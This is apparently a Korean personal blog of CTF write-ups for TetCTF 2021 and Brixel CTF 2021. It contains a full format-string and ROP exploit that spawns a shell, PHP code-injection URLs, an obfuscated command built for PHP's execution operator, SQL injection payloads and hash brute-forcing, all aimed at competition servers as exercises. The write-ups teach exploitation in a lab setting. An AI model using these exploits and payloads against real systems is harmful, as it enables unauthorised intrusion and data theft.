Mineta's Space

TetCTF 2021

Syine Mineta — Sat, 9 Jan 2021 04:31:18 +0900

이상한 CTF 하느라 대회 기간에는 참여를 못했고, 대회가 끝나고 나서 몇몇 문제들을 풀어봤다.

PWNABLE :: warmup

주어진 라이브러리의 BuildID에서 실행 환경이 Linux Ubuntu 16.04임을 알 수 있다.

바이너리를 쭉 살펴보면 FSB가 발생하는 곳이 한 군데 보인다.

void __fastcall print_fsb(const char *msg)
{
  int i; // [rsp+1Ch] [rbp-4h]

  printf(msg);
  for ( i = strlen(msg); i <= 0x30; ++i )
    putchar(' ');
  puts("*");
}

바이너리가 PIE이고 이 코드는 딱 한번밖에 실행되지 않기 때문에 스택에서 조작할 수 있는 값을 쭉 찾아보았다.

gdb-peda$ stack 25
 0x7fff4cea23c0 --> 0x55708db2b270 ('*' <repeats 50 times>)
 0x7fff4cea23c8 --> 0x55708e2ed428 ("whatzefuk???")
 0x7fff4cea23d0 --> 0x0 
 0x7fff4cea23d8 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea23e0 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea23e8 --> 0x55708db2ae9f (lea    rdi,[rip+0x3ca]        # 0x55708db2b270)
 0x7fff4cea23f0 --> 0x0 
 0x7fff4cea23f8 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d')
 0x7fff4cea2400 --> 0x0 
 0x7fff4cea2408 --> 0x0 
 0x7fff4cea2410 --> 0x1 
 0x7fff4cea2418 --> 0x0 
 0x7fff4cea2420 --> 0x0 
 0x7fff4cea2428 --> 0x6809c21ac91c6400 
 0x7fff4cea2430 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea2438 --> 0x0 
 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea2448 --> 0x55708db2b0c3 (lea    rdi,[rip+0x297]        # 0x55708db2b361)
 0x7fff4cea2450 --> 0x55708db2ab00 (xor    ebp,ebp)
 0x7fff4cea2458 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d')
 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea2468 --> 0x55708db2b1c2 (mov    eax,0x0)
 0x7fff4cea2470 --> 0x55708db2b1d0 (push   r15)
 0x7fff4cea2478 --> 0x7f1f2bada840 (<__libc_start_main+240>:    mov    edi,eax)
 0x7fff4cea2480 --> 0x1

rsp+0x38 이나 rsp+0x98 위치에 흥미로운 데이터가 보인다. 해당 포인터는 플레이어 객체를 할당받을 때 생성된다.

void __fastcall game()
{
  Player *player; // [rsp+8h] [rbp-8h]

  buf = calloc(0x400uLL, 1uLL);
  player = (Player *)calloc(0x88uLL, 1uLL);
  player->money = &a1;

  do
  {
    printf("How much money you want? ");
    read_long(&a1);
  }
  while ( a1 > 0x8000000000000000LL );

  play(player);
  puts("Game Over");
  printf("Your money: %lu ZWD\n", a1);
  printf("Send to author your feeback: ");
  read(0, buf, 0x400uLL);
  puts("Thank for your feedback");
}

.bss:0000000000202050 ; uint64_t a1 
.bss:0000000000202050 a1              dq ?                    ; DATA XREF: game+35↑o 
.bss:0000000000202050                                         ; game+50↑o ... 
.bss:0000000000202058 ; void *buf 
.bss:0000000000202058 buf             dq ?                    ; DATA XREF: game+17↑w 
.bss:0000000000202058                                         ; game+B6↑r

player->money 는 a1 의 주소를 저장하고 있는데, FSB로 1바이트를 바꿔서 이 값을 buf 의 주소로 바꿀 수 있다.

그리고 play 함수의 실행이 끝나고 나면 buf 에 0x400 크기의 임의의 데이터를 쓸 수 있다는 점 역시 눈에 띈다.

    printf("Round: %d\n", rounds);
    printf("Your money: %lu ZWD\n", *player->money);
    printf("Your bet (= 0 to exit): ");
    read_long(&bet);
    if ( !bet )
      break;
    printf("Your choice: ");
    choice = read_int();
    r = rand();
    printf("Lucky number: %u\n", r);

    if ( choice == r )
    {
      *player->money += bet + rand();
    }
    else
    {
      *player->money -= bet + rand();
    }

    ++rounds;

play 함수의 반복문에서 player->money 에 값을 쓰는 부분이 존재한다. FSB로 player->money 를 buf 의 주소로 바꾸고 나면 buf 에 들어있는, calloc 으로 할당받은 힙 영역의 주소를 다른 값으로 바꿀 수 있다. 만약 이 값을 적절한 주소값으로 변경했다면, game 함수의 buf 에 입력받는 코드를 통해 해당 주소에 0x400 크기의 값을 자유롭게 쓸 수 있게 된다.

player->money 값이 변경될 때 rand 를 사용한 랜덤값이 관여한다. 이 값을 제어할 수 있는 방법을 찾아보기 위해 seed를 설정하는 곳을 살펴보니...

  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("Error");
    exit(0);
  }
  read(fd, &buf, 3uLL);
  close(fd);
  srand(buf);

임의의 3바이트 값이 들어간다.

3바이트로 표현할 수 있는 수는 0부터 16777215까지이고, 이는 간단한 수준의 브루트포스로 해결할 수 있다.

홀수 번째의 rand 실행 결과값을 각 seed별로 저장하고, 프로그램에서 lucky number로 출력해 주는 값을 보면서 seed를 추측할 수 있다. 해당 값이 하나로 확정이 되면 rand 의 결과값을 예측하는 게 가능해지므로 buf 에 원하는 주소값을 쓸 수 있게 된다.

어떤 값을 쓸 것인지가 중요한데, _rtld_global 을 덮어서 _dl_fini 루틴을 조작하는 시나리오와 스택에서 ROP를 하는 시나리오를 생각해 봤다. 전자는 아직 해본 경험이 없고 입력 크기 제한 때문에 조금 더 이지한 후자로 코드를 작성했다.

앞서 FSB에서 %p 로 알아낸 stack & libc 주소들을 바탕으로 오프셋을 잘 계산해서 써 주었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104

from pwn import *
import argparse
import ctypes as c


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))


def rand(seed:int, count:int) :
    _srand(seed)

    for i in range(count-1) :
        _rand()

    return _rand()

def exploit() :
    cds, new_cds = [i for i in range(0x100**3)], []

    p.writelineafter(b'How much money you want? ', b'1')
    p.writelineafter(b'Player name: ', b'%88c%13$hhn%26$p %29$p')
    p.readuntil(b'Danh de ra de ma` o? =]]                         *\n**************************************************\n')
    r = p.readline(keepends=False)[88:].split(b' ')[:2]

    stack_ret = int(r[0], 16) - 8
    libc_base = int(r[1], 16) - 0x20840
    libc_system = libc_base + 0x453A0
    pop_rdi_ret = libc_base + 0x21112

    log_info('stack ret: '+hex(stack_ret))
    log_info('libc base address: '+hex(libc_base))
    log_info('system = '+hex(libc_system))
    log_info('gadget (pop rdi ; ret): '+hex(pop_rdi_ret))

    rounds = 1

    while len(cds) != 1 :
        log_info('Round: {}'.format(rounds))

        p.readuntil(b'Your bet (= 0 to exit): ')
        p.writeline(b'1')
        p.readuntil(b'Your choice: ')
        p.writeline(b'0')

        p.readuntil(b'Lucky number: ')
        r = int(p.readline(keepends=False))

        for cd in cds :
            if rand(cd, rounds*2-1) == r :
                new_cds.append(cd)
                log_info('  found {}'.format(cd))

        rounds += 1
        cds = new_cds

    seed = cds[0]
    log_info('seed = {}'.format(seed))

    p.readuntil(b'Your money: ')
    val = int(p.readuntil(b' ZWD', drop=True))
    log_info('Current value = '+hex(val))

    # the difference of addresses between .data section (0x55..........) and libc (0x7f..........) is
    # approximately 0x2a0000000000, which exceeds RAND_MAX (2^32-1) ; so we can always add values
    # without concerns about calibration.
    lucky = rand(seed, rounds*2-1)
    diff = rand(seed, rounds*2)

    p.readuntil(b'Your bet (= 0 to exit): ')
    p.writeline(str(stack_ret-val-diff).encode())
    p.readuntil(b'Your choice: ')
    p.writeline(str(lucky).encode())

    p.readuntil(b'Your bet (= 0 to exit): ')
    p.writeline(b'0')
    p.readuntil(b'Send to author your feeback: ')

    payload = p64(pop_rdi_ret)
    payload += p64(stack_ret + 0x18)
    payload += p64(libc_system)
    payload += b'/bin/sh\x00'

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('192.46.228.70', 32337)
    else :
        p = process('./warmup')

    libc = c.cdll.LoadLibrary('libc-2.23.so')
    _srand, _rand = libc.srand, libc.rand
    _srand.argtypes, _rand.argtypes = (c.c_uint32,), ()
    _srand.restype, _rand.restype = None, c.c_int32

    exploit()

1. TetCTF 문제 수준이 높아서 그런지 warmup 인데 나름 풀기가 까다롭다. (시나리오 세우기는 쉬운데 코딩이 힘들다...)

2. 테스트 결과 첫 번째 rand 결과값이 중복되는 경우가 대략 5만개 존재하기 때문에 seed 후보가 1개가 될때까지 반복 실행하도록 작성했다. (중복 케이스가 걸리지 않을 확률이 대략 0.38% 이긴 하지만 완벽한 익스 코드를 만들기 위해서 약간 추가적인 삽질을 했다)

Flag: TetCTF{viettel: *100*311267385452644#}

PWNABLE :: babyformat

leak이 불가능한 FSB 문제이다.

(작성중)

CRYPTO :: unimplemented

RSA인데 base가 복소수이며, $N=p^{2}q^{2}$ 이다. 비밀키와 공개키가 모두 주어졌기 때문에 복호화 코드를 올바르게 작성하면 끝나는 문제다.

먼저 Euler's Theorem을 Gaussian integer에서 확장한 정리를 살펴보면,

\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\eta\mathrm{,\ }\alpha^{\phi\left(\eta\right)}\mathrm{\ is\ congruent\ to\ }1\mathrm{\ modulo\ }\eta\mathrm{.}\]

Gaussian integer에서 정의되는 Euler totient function은 아래와 같다.

\[\phi\left(\eta\right)=N(\eta)\prod_{\pi|\eta}\left(1-\frac{1}{N\left(\pi\right)}\right)\]

여기서 $N$은 Gaussian integer에 대한 norm function이며, $\alpha=a+bi$ 일 때 $N\left(\alpha\right)=a^{2}+b^{2}$ 이다.

Euler's totient function 역시 Gaussian integer로 확장될 수 있다. 그 중에서 문제에 필요한 2가지 특징을 아래에 적어보았다.

첫 번째는, 확장된 함수가 multiplicative 하다는 점이다.

\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\beta\mathrm{,\ }\phi\left(\alpha\beta\right)=\phi\left(\alpha\right)\phi\left(\beta\right)\mathrm{.}\]

두 번째는 Gaussian prime의 거듭제곱에 대한 함수값에 대한 내용이다.

\[\mathrm{For\ Gaussian\ prime\ }\pi\mathrm{\ and\ positive\ integer\ }k{,\ }\phi\left(\pi^{k}\right)=N\left(\pi\right)^{k}\left(1-\frac{1}{N\left(\pi\right)}\right)\mathrm{.}\]

다시 문제로 돌아와서, $d=\phi\left(p^{2}q^{2}\right)$ 를 위 특징을 사용하여, 아래처럼 식을 전개해 구할 수 있다.

\[d=\phi\left(p^{2}q^{2}\right)=\phi\left(p^{2}\right)\phi\left(q^{2}\right)=N\left(p\right)^{2}\left(1-\frac{1}{N\left(p\right)}\right)N\left(q\right)^{2}\left(1-\frac{1}{N\left(q\right)}\right)=p^{4}\left(1-\frac{1}{p^{2}}\right)q^{4}\left(1-\frac{1}{q^{2}}\right)=p^{2}q^{2}\left(p^{2}-1\right)\left(q^{2}-1\right)\]

이 값을 $d$로 설정하고 복호화를 진행하면 플래그를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

from sage.all import *
from collections import namedtuple
from Crypto.Util.number import bytes_to_long, long_to_bytes


Complex = namedtuple("Complex", ["re", "im"])

private_key = (128329415694646850105527417663220454989310213490980740842294900866469518550360977403743209328130516433033852724185671092403884337579882897537139175073013,
               119773890850600188123646882522766760423725010264224559311769920026142724028924588464361802945459257237815241227422748585976629359167921441645714382651911)
public_key = 236252683050532196983825794701514768601125614979892312308283919527619033977486749228418695923608569040825653688303374445536392159719426640289893369552258923597180869981053519695297428186215135878525530974780390951763007339139013157234202093279764459949020588291928614938201565110828675907781512603972957429701280916745719458738970910789383870206038035515777549907045905872280803964436193687072794878040018900969772972761081589529671158140590712503582004892067155769362463889653489918914397872964087471457070748108694165412065471040954221707557816986272311750297566993468288899523479556822418109112211944932649
ciphertext = b'\x00h\xbe\x94\x8c\xcd\xdd\x04\x80\xf4\x9d\t\xd8\x8dO\x08\xf1\xd1\xc4\xb9\xa06\xe7\xe3\xb6\xc3\x01+\xa9\xf2\xb9\xe8\x8d\xe6\xc9\x0c_#\x93\x11\xad\x0f\x90\xd3\x0b6\xb0n\x13\xea~"V6\xdbA&\x87\xfe\xa3C\xcb\x16\xae\xd9\x83\xdbU\xc6\x06\xcd\x9a\x94\xa9\xce\x15{d\x95s\xc2\xfb\x90q\xe7\x02\xa2\x081:_C\xc68\x00y\x7fj4@\xd2\xcdE\x06\x943\xbe\xbcC3\xca\x91\xb4\x0e}C\xab\xff?X\xc30u\x069:Dc\xb5\xdc\x9b0%\x98\xbd\xd9\x13\xc0\x02w\xc5\xe5:\xca\xcf\x0c\xab\xc2\x9b}\xab\xd0\xcc\xbc\x0f\x9e9\t\xf7M\xb3\xed\x86\xb5E\x8b\xbc4\xfaH\x9b4\x1c\xc4\xab\xc0\xaf\x8a5XcX\x19K\xed\x19\xe1\x1c\xd0\x1e\x97c\x9fF:L\x9d\x90p\x99\xb8\xde\xcblM\xb3\x80sSL\xe1\xa4\xd6,\x81\xd6\x9c\xf1\xbb\x9c)\xf03\x155\xc0\xd5v\x13\xd6#\xb7\x19\xdea%\xce<\x1c\xf7\xf2!;\xc1\xd7w\xd1\xc8\x8d/\xaew\xa1\x1d\xc5(\xc8\x9d\x82v\xf6j\x90A,e\xbd\xa7]\x10\x8f\xe5\xe7\x93}:\xdf1~\xec\xd0-o`\r\x96\xe4\x03\xb9E\x9fdF\xc3\xf8L\xa0\xda\xf0E[\xf7\x02\xef|*\x08\x8a5pI&\xa9i\x0fZ\xa8\xb3H\xed\xe8v\xc4H\xff\xdb\xcb\x00\xf1\xae\x9bO\x18\xd5\xd8&p\xf5\xf6\xe9\xf1\x1brs\xc2\r\xceZ\xd0\xb24\x97+\x98b\x0e\xbb\xb8.\x8dT\xe4"\xad\xe4\xa3f\xd0M\xbf\xafX\xbb"[\x99\xdap\xa5\xcfT2Wx\x87M\x7f\x99!>B[Q\x04\xf6\x03\xbc\x84\xf4\xdfj\xdd1^I\x1a\x05\x81\x91\xde9Mf*\x8e\x8d\xe64\xf8\x93\x99&yP\xcd\x00!\x82\xab\xbcy\xed\xf1\x13\xd3\x81\xeaz\xbbP>\x9a2\x8c\x08\x0es\xbc\xa9\xf6\xa3\x8c\xb0\xb9t\xd9?\x06@\xc9\x90\xb7\xa7<\x85\xeb\x1a\x88#\x1c\xc3 \xec\xc7\x94d\x99\xd6\x8e>\x06\xf8Y\xf4\x19\xcaI/hy\x18\x8e\x0e8\xf8\r\xbb\xf6\x11\xb9\x8dCWB6 '


def complex_mult(c1, c2, modulus) :
    return Complex(
        (c1.re * c2.re - c1.im * c2.im) % modulus,  # real part
        (c1.re * c2.im + c1.im * c2.re) % modulus,  # image part
    )

def complex_pow(c, exp, modulus) :
    result = Complex(1, 0)
    while exp > 0 :
        if exp & 1 :
            result = complex_mult(result, c, modulus)
        c = complex_mult(c, c, modulus)
        exp >>= 1
    return result

def unpad(data) :
    assert b"\x00" in data, "incorrect padding"
    return data.split(b"\x00", 1)[1]

def decrypt(private_key, ciphertext) :
    n = public_key
    p, q = private_key
    d = inverse_mod(65537, p**2*q**2*(p**2-1)*(q**2-1))
    c = Complex(
        bytes_to_long(ciphertext[:len(ciphertext) // 2]),
        bytes_to_long(ciphertext[len(ciphertext) // 2:])
    )
    m = complex_pow(c, d, n)

    return unpad(long_to_bytes(m.re) + long_to_bytes(m.im))

def main() :
    flag = decrypt(private_key, ciphertext)
    print(flag)


if __name__ == '__main__' :
    main()

Flag: TetCTF{c0unt1ng_1s_n0t_4lw4ys_34sy-vina:*100*48012023578024#}

WEB :: HPNY

http://139.180.155.171:8003/?roll=var_dump(scandir(getcwd())).die

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(39) "fl4g_here_but_can_you_get_it_hohoho.php" [3]=> string(9) "index.php" }

http://139.180.155.171:8003/?aaa=bbb&roll=var_dump(get_defined_vars()).die

array(5) { ["_GET"]=> array(2) { ["aaa"]=> string(3) "bbb" ["roll"]=> string(32) "var_dump(get_defined_vars()).die" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["wl"]=> int(1) }

http://139.180.155.171:8003/?aaa=fl4g_here_but_can_you_get_it_hohoho.php&roll=readfile(pos(pos(get_defined_vars()))).die

Flag: TetCTF{lixi_50k_<3_vina_*100*25926415724382#}

WEB :: Super Calc

문자열을 xor 연산할 수 있는 PHP의 특징을 잘 써먹으면 된다.

아래와 같은 도구를 만들어서 글자 하나를 적절한 조합으로 바꿔주게 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from itertools import combinations

CHARSET = '0123456789+-*/().~^|&'

def find(c) :
    assert(len(c) == 1)

    for recursive_level in range(len(CHARSET)) :
        for cs in combinations(CHARSET, recursive_level) :
            val = 0

            for t in cs :
                val ^= ord(t)

            if ord(c) == val :
                return cs

if __name__ == '__main__' :
    while True :
        c = input('> ')
        res = find(c)

        print(', '.join("'{}'".format(r) for r in res))

한편 PHP의 연산자를 찾아보던 중 execution operator라는 생소한 것을 발견하게 되었다. (https://www.php.net/manual/en/language.operators.execution.php)

`cat *` 을 실행시켜 파일을 모두 출력하도록 했다.

`cat *` 을 각 글자마다 변환하면 아래와 같은 문자열이 만들어진다.

('0'^'.'^'~').('0'^'-'^'~').('0'^'-'^'|').('*'^'^').('~'^'^').'*'.('0'^'.'^'~')

글자 수 제한에 맞추기 위해 몇몇 글자들을 묶어서 아래와 같이 처리했다.

('.-'^'00'^'~~').('0'^'-'^'|').('*~'^'^^').'*'.('0'^'.'^'~')

Flag: TetCTF{_D0_Y0u_Know_H0w_T0_C4lculat3_1337?_viettel_*100*817632506233949#}

WEB :: mysqlimit

https://hyunmini.tistory.com/46

1/**/LIMIT/**/2,1/**/PROCEDURE/**/ANALYSE(1)

Flag: TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}

MISC :: Welcome

Flag: TetCTF{dmlldHRlbDogKjEwMCo0MTk4NjIzMDkwMzMxWFgj}

Brixel CTF winter edition

Syine Mineta — Wed, 6 Jan 2021 17:55:35 +0900

Programming :: Are you fast enough?

화면에 나오는 랜덤 문자열을 form에 넣어서 POST로 빨리 보내주면 된다.

Python으로 파싱하는게 편했겠지만 NodeJS 연습해보기 위해 아래와 같이 코드를 썼다.

서버가 느려서 플래그 가져오는 것도 여러번 시도해야 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

const request = require('request');
const cheerio = require('cheerio');

const URL = 'http://timesink.be/speedy/index.php';
var cookieJar = request.jar();

request.get(
    {
        url: URL,
        jar: cookieJar
    },
    function (err, res, body) {
        const $ = cheerio.load(body);
        var text = $('#rndstring').html();

        console.log('[+] string: '+text);

        request.post(
            {
                url: URL,
                jar: cookieJar,
                form: {
                    inputfield: text
                }
            },
            function (err, res, body) {
                console.log(body);
            }
        );
    }
);

Flag: brixelCTF{sp33d_d3m0n}

Programming :: Keep walking...

간단한 점화식 코딩 문제다.

1
2
3
4
5
6
7
8
9

if __name__ == '__main__' :
    x = 1
    r = 1

    while x <= 525 :
        r = x*x + r + 3
        x += 1

    print(r)

Flag: 48373851

Programming :: A song...

주어진 텍스트 파일을 Rockstar로 돌리면 문자열(플래그)이 나온다.

Flag: brixelCTF{ 5 66 7236 34 66 14 }

Programming :: An arduino project

setup 함수의 주석을 보면 7 Segment Display에 2~9번 핀이 연결되어있다는 것을 눈치챌 수 있다.

tinkercad에서 시뮬레이션해서 숫자를 뽑았다.

Flag: 406798190332

Programming :: Quizbot

문제 순서가 똑같기 때문에 먼저 이상한 답을 넣어서 정답을 쭉 받아온 뒤 새로운 세션에서 정답을 1000개 넣으면 플래그를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

const request = require('request');
const cheerio = require('cheerio');

const URL = 'http://timesink.be/quizbot/index.php';
var cookieJar = request.jar();

var answers = [];

function InitConnection() {
    return new Promise(function (resolve, reject) {
        request.get(
            {
                url: URL,
                jar: cookieJar
            },
            function (err, res, body) {
                if (err) {
                    reject(0);
                }
                else if (res.statusCode != 200) {
                    reject(res.statusCode);
                }

                resolve();
            }
        );
    });
}

function SubmitAnswer(index, submit) {
    return new Promise(function (resolve, reject) {
        request.post(
            {
                url: URL,
                jar: cookieJar,
                form: {
                    insert_answer: submit
                }
            },
            function (err, res, body) {
                if (err) {
                    reject(0);
                }
                else if (res.statusCode != 200) {
                    reject(res.statusCode);
                }
    
                const $ = cheerio.load(body);

                if ($('#answer').length != 0) {
                    var answer = $('#answer').html();
                    resolve(answer);
                }
                else {
                    if (index == 999) {
                        console.log(body);
                    }

                    resolve(1);
                }
            }
        );
    })
}

async function Main() {
    try {
        await InitConnection();
        console.log('[+] Connection established');

        for (var i=0 ; i<1000 ; i++) {
            var answer = await SubmitAnswer(i, '');
            answers.push(answer);
            console.log('[+] Answer #'+(i+1).toString()+': '+answer);
        }

        cookieJar = request.jar();
        await InitConnection();
        console.log('[+] Connection established');

        for (var i=0 ; i<1000 ; i++) {
            var result = await SubmitAnswer(i, answers[i]);

            if (result === 1) {
                console.log('[+] Solved question #'+(i+1).toString());
            }
            else {
                console.log('[-] Something went wrong');
            }
        }
    } catch (code) {
        console.log('[-] Connection failed: '+code.toString());
    }
}

Main();

Flag: brixelCTF{kn0wl3dg3}

Forensics :: A message from space

SSTV decode 문제다. QSSTV를 사용해서 풀었으며 아래 링크를 참고했다.

(https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04)

Flag: brixelCTF{SP4C3L4B}

Forensics :: Lottery ticket

조작된 숫자를 전부 더하면 된다.

그림을 확대해 보면, 대부분의 숫자에 노이즈가 있는데 특정 숫자에는 노이즈가 없다.

fake

real

노이즈가 없는 숫자인 42(A4), 88(C2), 25(C3), 48(D4) 을 더하면 플래그가 된다.

Flag: 203

Forensics :: Lost evidence

이미지 파일이 주어진다. 해당 파일을 마운트하고 EaseUS로 리커버리를 돌리면 wav 파일 2개를 얻을 수 있다.

두 파일은 동일하기 때문에 하나만 가져와서 분석해도 된다.

소리를 들어보면 이체를 위해 이런저런 정보를 입력하고 65초부터 메시지를 입력하는 부분이 나온다. 해당 부분을 잘라내서 DTMF Tone에 따라 텍스트로 변환하면 "thx for the cocaine bruh" 문자열을 얻을 수 있다.

(GoldWave로 잘라내고 http://dialabc.com/sound/detect/index.html 에서 키값을 가져왔다.)

cocaine을 플래그 형식에 씌우면 정답 플래그가 된다.

Flag: brixelCTF{cocaine}

OSINT :: A quick search

images.google.com

Flag: Eben-Ezer

Reverse engineering / cracking :: Cookieee!

Cheat Engine

Flag: brixelCTF{m3m0ry}

Reverse engineering / cracking :: no peeking!

JetBrains dotPeek

Flag: brixelCTF{d0tP33K}

Reverse engineering / cracking :: registerme.exe

Visual Basic 6.0 리버싱 문제다.

VB Decompiler로 살펴보면 Form1에 3개의 함수가 있는데, 대충 어셈블리를 들여다 보면 Timer 함수에 뭔가 중요한 게 있어보인다.

.text:00402BA4                 mov     [ebp+var_34], offset aActivationKey ; "activation.key" 
.text:00402BAB                 mov     [ebp+var_3C], 8 
.text:00402BB2                 call    ds:__vbaVarDup 
.text:00402BB8                 lea     edx, [ebp+path] 
.text:00402BBB                 push    ebx             ; attributes 
.text:00402BBC                 push    edx             ; path 
.text:00402BBD                 call    ds:rtcDir 
.text:00402BC3                 mov     edx, eax        ; src 
.text:00402BC5                 lea     ecx, [ebp+dst]  ; dst 
.text:00402BC8                 call    ds:__vbaStrMove 
.text:00402BCE                 push    eax             ; _DWORD 
.text:00402BCF                 push    offset dword_401BFC ; _DWORD 
.text:00402BD4                 call    ds:__vbaStrCmp 
.text:00402BDA                 mov     edi, eax 
.text:00402BDC                 lea     ecx, [ebp+dst] 
.text:00402BDF                 neg     edi 
.text:00402BE1                 sbb     edi, edi 
.text:00402BE3                 neg     edi 
.text:00402BE5                 neg     edi 
.text:00402BE7                 call    ds:__vbaFreeStr 
.text:00402BED                 lea     ecx, [ebp+path] 
.text:00402BF0                 call    ds:__vbaFreeVar 
.text:00402BF6                 mov     eax, [esi] 
.text:00402BF8                 cmp     di, bx 
.text:00402BFB                 push    esi 
.text:00402BFC                 jz      loc_402CA9

VB internal function에 대해서는 여기를 참고했다.

이 코드를 요약하면, Dir("activation.key") 를 호출하고 반환값을 길이가 0인 문자열과 비교해서 같다면 0x402CA9로 점프한다. 0x402CA9는 활성화가 실패했다는 로직을 포함하므로 Dir 함수의 반환값은 길이가 0이 아닌 문자열이 되어야 한다. 이는 프로그램 위치에 activation.key 파일을 하나 만들어 주는 것으로 해결할 수 있다.

파일 생성 후 프로그램을 실행하면 플래그를 얻을 수 있다.

Flag: brixelCTF{f1l34cc3ss}

Reverse engineering / cracking :: android app

jadx에서 appinventor.ai_kevin_erna.brixelCTF.Screen1 클래스 열면 Button1$Click 메소드에 플래그가 그대로 보인다.

Flag: brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}

Old tech :: punchcard

http://laighside.com/punchcard.htm

Flag: BRIXELCTF(M41NFR4M3)

Old tech :: Goodbye old friend

https://github.com/jindrapetrik/jpexs-decompiler

Flag: brixelCTF{n0_m0r3_5upp0rt}

Old tech :: The tape

wavprg로 테이프를 프로그램으로 변환한 뒤 CCS64에서 에뮬레이션하면 플래그가 나온다.

Flag: BASIC

Cryptography :: Sea code

THE FLAG FOR THIS CHALLENGE IS SEAGULL

Flag: SEAGULL

Cryptography :: Merde

Vigenère cipher, key=confidentel

Flag: brixelCTF{baguette}

Cryptography :: Merda

ROT13, amount=21

Flag: brixelCTF{pizzanapoli}

Cryptography :: s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜

BASE64 + Binary Conversion

Flag: brixelCTF{robocop}

Cryptography :: Scheiße

Abwehr Enigma G-312

Reflector: UKW, Ring=Z, Position=K

Rotor II, Ring=F, Position=L / Rotor I, Ring=P, Position=Q / Rotor III, Ring=A, Position=L

Der Flag ist Sauerkraut

Flag: Sauerkraut

Cryptography :: flawed

MD5 rainbow table decrypt

Flag: notsecure

Cryptography :: Don't be salty

MD5 bruteforce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import binascii
import hashlib
import string

SALT = '04532@#!!'
HASH = b'\x2b\xaf\xea\x54\xca\xf6\xf8\xd7\x18\xbe\x0f\x23\x47\x93\xa9\xbe'

if __name__ == '__main__' :
    for v in range(26**5) :
        s = ''.join([string.ascii_lowercase[(v//(26**i))%26] for i in range(5)][::-1])
        h = hashlib.md5((s+SALT).encode()).digest()

        if h == HASH :
            print(s)
            break

Flag: brute

Internet :: Easy

메인페이지의 소스에 주석으로 플래그가 달려있다.

Flag: brixelCTF{notsosecret}

Internet :: Hidden Code

Flag: mario

Internet :: robotopia

robots.txt

Flag: brixelCTF{sadr0b0tz}

Internet :: Discord

Flag: brixelCTF{th4nk5_f0r_r34d1ng_th3_rulz}

Internet :: login1

verify 함수에 플래그가 그대로 들어있다.

Flag: brixelCTF{w0rst_j4v4scr1pt_3v3r!}

Internet :: login2

login1 문제와 같은 형식이고 순서만 잘 맞춰주면 된다.

Flag: brixelCTF{st1ll_b4d_j4v45cr1pt_h3r3.18079054270}

Internet :: login3

password.txt

Flag: brixelCTF{n0t_3v3n_cl05e_t0_s3cur3!}

Internet :: login4

password.txt + BASE64

Flag: brixelCTF{even_base64_wont_make_you_secure}

Internet :: Browsercheck

User-Agent 헤더를 Mozilla/5.0 (compatible; Ask Jeeves/Teoma +http://about.ask.com/en/docs/about/webmasters.shtml) 로 바꾸고 요청을 보내면 플래그가 보인다.

Flag: brixelCTF{askwho?}

Internet :: Readme

Flag: freepoints

Internet :: SnackShack awards

options 태그에서 value를 5000으로 바꾼 뒤 투표하면 된다.

Flag: brixelCTF{bakpau}

Internet :: Flat earth

admin.php에서 username에 SQL Injection으로 항상 참을 만들어 주면 된다.

'OR'1'='1' --

Flag: brixelCTF{aroundtheglobe}

Internet :: Hiding in the background

메인페이지에 있는 svg 파일을 열어보면 플래그를 발견할 수 있다.

Flag: brixelCTF{happy_holidays}

Internet :: login5

난독화가 가볍게 적용되어 있어서 하나하나 풀 수 있다.

난독화를 해제한 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
